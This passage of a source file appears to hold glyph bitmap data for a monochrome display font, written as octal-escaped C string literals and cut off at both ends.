\"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376~\\77\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77\\376\\376\"\n  \"\\374x \\0\\200\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\17\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\340\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@\\340\\360\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\370\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300@\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374~\\77\\37\\17\\7\\3\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\200\\300\\340\\360\\370\\374\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\370~\\77\\37\\37\\177\\377\\377\\371\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\377\\377\\374\\370\\360\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\377\\376\\374\\370\\340\"\n  \"\\300\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\"\n  \"\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\3\\17\\77\\377\\377\\374\\360\\300\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\17\\3\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\77\\377\\377\\370\\370\\376\\377\\77\\17\\3\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\3\\17\\37\\177\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\374\\360\\300\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\374\\370\\340\\200\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\37\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\377\\377\\7\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\3\\17\\37\\77\\377\\377\\374\\370\\340\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxxx||||~>\\77\\37\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\177\\77\\37\\17\\7\\7\\7\\7\\7\\7\\7\\7\\17\\37\\37\\177\\376\\376\\374\\370\"\n  \"\\340\\300\\0\\0\\300\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\377\\376\\340\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\"\n  \"\\377\\377\\377\\377\\17\\377\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\376\\377\"\n  \"\\377\\377\\377\\37\\0\\0\\7\\37\\77\\177\\377\\376\\370\\360\\340\\300\\200\\200\\200\\200\\0\\200\\200\\200\\300\\300\\340\\370\\374\\377\\377\\177\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\17\\17\\377\\377\\377\\377\\217\\17\\7\\7\\7\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\37>>><>>>>\"\n  \">>\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\"\n  \"\\360\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\377\\377\\377\"\n  \"\\377\\177\\0\\0\\0\\0\\377\\377\\377\\377\\377xxxxxxxxx\\370\\374\\374\\374\\374~>\\77\\37\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\374\\360\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\376\\370\"\n  \"\\340\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\177\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77~\\376<\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\374\\360\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\17\\37\\37\\37>>|||\\370\\370\\360\\360\\340\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\377\\377\"\n  \"\\377\\376\\370\\0\\0\\0p\\374\\376\\374\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\377\"\n  \"\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\377\\377\\177\\77\"\n  \"\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\300\\300\\300\\300\\1\\17\\177\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\"\n  \"\\377\\77\\7\\0\\0\\0\\0\\3\\37\\377\\377\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\77\\17\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\\377\\374\\340\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\\377\\370\\300\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\376\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\377\\377\\377\\37\\0\\177\\377\\377\\377\\374\\0\\0\\0\\0\\0\\0\\340\\376\\377\\177\\377\\377\\377\\374\\300\\0\\0\\0\\0\\0\\360\\377\"\n  